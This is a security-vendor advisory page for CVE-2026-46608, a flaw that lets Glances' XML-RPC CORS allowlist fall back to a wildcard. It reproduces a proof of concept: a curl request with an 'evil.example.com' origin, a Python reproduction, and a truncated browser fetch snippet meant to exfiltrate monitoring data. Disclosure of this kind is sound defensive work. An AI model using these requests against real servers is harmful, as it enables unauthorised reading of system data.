Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-46608 — glances

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-183 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Glances: XML-RPC Multi-Origin CORS Configuration Silently Falls Back to Wildcard (Incomplete Fix for CVE-2026-33533)

Summary

The Glances XML-RPC server (glances -s) introduced a configurable CORS origin list in version 4.5.3 as a mitigation for CVE 2026-33533. However, the implementation silently falls back to Access-Control-Allow-Origin: * whenever cors_origins contains more than one entry. An operator who configures an explicit two-entry allowlist (e.g. two internal dashboard origins) intending to restrict browser access instead receives the unrestricted wildcard — the same exposure that the original CVE described. A malicious web page served from any origin can issue a CORS simple request to /RPC2 and read the full system monitoring dataset without the victim's knowledge.

Details

Affected file: glances/server.py, class GlancesXMLRPCServer, line 113

Direct URL (commit 04579778e733d705898a169e049dc84772c852da):

  • https://github.com/nicolargo/glances/blob/04579778e733d705898a169e049dc84772c852da/glances/server.py#L113

```python

# server.py (GlancesXMLRPCServer.__init__)

cors_origins = self.args.cors_origins # list from config / CLI

# Line 113 — the incomplete fix:

self.cors_origin = cors_origins[0] if len(cors_origins) == 1 else '*'

# ^^^

# Any allowlist with 2+ entries collapses to the wildcard

```

The cors_origin value is then echoed back as the Access-Control-Allow-Origin response header for every request (line ~147 in the same file):

```python

self.send_header('Access-Control-Allow-Origin', self.cors_origin)

```

This means the CORS header is determined once at server startup and never compared against the actual Origin header sent by the browser. Even if an operator sets:

```ini

# glances.conf

[outputs]

cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

```

the server responds with Access-Control-Allow-Origin: * to every request, including those from https://attacker.example.com.

Single-origin wildcard (the default, cors_origins = *) is also still in effect; the fix only helps if exactly one non-wildcard origin is configured.

Confirmed on: x86_64 Linux, Python 3.13, Glances 4.5.5_dev1 (commit 04579778e733d705898a169e049dc84772c852da).

Test results:

| Origin sent | ACAO header returned | Expected |

|--------------------------|----------------------|--------------|

| http://evil.example.com| * | No header |

| https://dashboard.corp | * | Reflected |

| https://grafana.corp | * | Reflected |

PoC

Special configuration required

The multi-origin collapse is only triggered when cors_origins contains two or more entries. Create the following glances.conf:

```ini

# /tmp/glances_multiorigin.conf

[global]

check_update = false

[outputs]

cors_origins = https://dashboard.corp.example.com,https://grafana.corp.example.com

```

Step 1 — Start the XML-RPC server using the config above

```bash

glances -s -p 61209 -C /tmp/glances_multiorigin.conf

```

Step 2 — Send a CORS simple request from a foreign origin

```bash

curl -s -D - -X POST "http://TARGET_HOST:61209/RPC2" \

-H "Content-Type: text/plain" \

-H "Origin: http://evil.example.com" \

-d '<?xml version="1.0"?>

<methodCall><methodName>getAllPlugins</methodName></methodCall>'

```

Expected (secure) response:

```

HTTP/1.0 400 Bad Request

```

or no Access-Control-Allow-Origin header.

Actual response:

```

HTTP/1.0 200 OK

Access-Control-Allow-Origin: *

...

<?xml version='1.0'?>

<methodResponse>

<params><param><value><array><data>

<value><string>cpu</string></value>

<value><string>mem</string></value>

...

</data></array></value></param></params>

</methodResponse>

```

Step 3 — Demonstrate the code-level collapse to wildcard

```python

import sys

sys.path.insert(0, '/path/to/glances') # adjust to local clone

from glances.config import Config

c = Config('/tmp/glances_multiorigin.conf')

cors_list = c.get_list_value('outputs', 'cors_origins', default=['*'])

# Reproduces server.py line 113:

result = cors_list[0] if len(cors_list) == 1 else '*'

print('cors_origins config :', cors_list)

print('cors_origin applied :', result)

print('Is wildcard? :', result == '*')

# cors_origins config : ['https://dashboard.corp.example.com', 'https://grafana.corp.example.com']

# cors_origin applied : *

# Is wildcard? : True

```

Browser-based exploitation

Once the wildcard is confirmed, the original CVE-2026-33533 attack vector still applies in full. A malicious page served to a victim whose browser can reach the Glances server can exfiltrate data as follows:

```javascript

// Runs in a page on http://evil.example.com

const payload = `<?xml version="1.0"?>

<methodCall><methodName>getAll</methodName></methodCall>`;

fetch('http://GLANCE

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs no privileges on the target. A user must be tricked into taking some action. The scope is changed, meaning a successful attack can affect components beyond the vulnerable one. Rated impact: confidentiality high, integrity none, availability none.

CVSS metrics in full

The score comes from this vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: Low — the attack works reliably, with no preparation.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: Required — someone has to click, open or visit something.
  • Scope: Changed — a successful attack reaches components beyond the vulnerable one.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: None.
  • Availability impact: None.

Weakness class

CVE-2026-46608 is classified as CWE-183: Permissive List of Allowed Inputs. The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are explicitly allowed by policy because the inputs are assumed to be safe, but the list is too permissive - that is, it allows an input…

Affected software

CVE-2026-46608 is recorded against 2 packages.

  • glances (fixed in 4.5.5)
  • unknown

Timeline and source

Published on 13 July 2026 and last revised on 21 July 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Package)
github.com (Web)
pypi.org (Package)
github.com (Advisory)
nvd.nist.gov (Advisory)

Other advisories for this package

glances has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-183: Permissive List of Allowed Inputs) in other software:

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N
CWE CWE-183
Public Exploit ✅ No
Source NVD
Published 2026-07-13
Updated 2026-08-20
Modified 2026-07-21
Fix URL N/A

Affected Packages

Software From version Fixed in
glances — 4.5.5
unknown — —

Similar Threats

Site Security Check

Is glances part of your stack?

CVE-2026-46608 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026
✓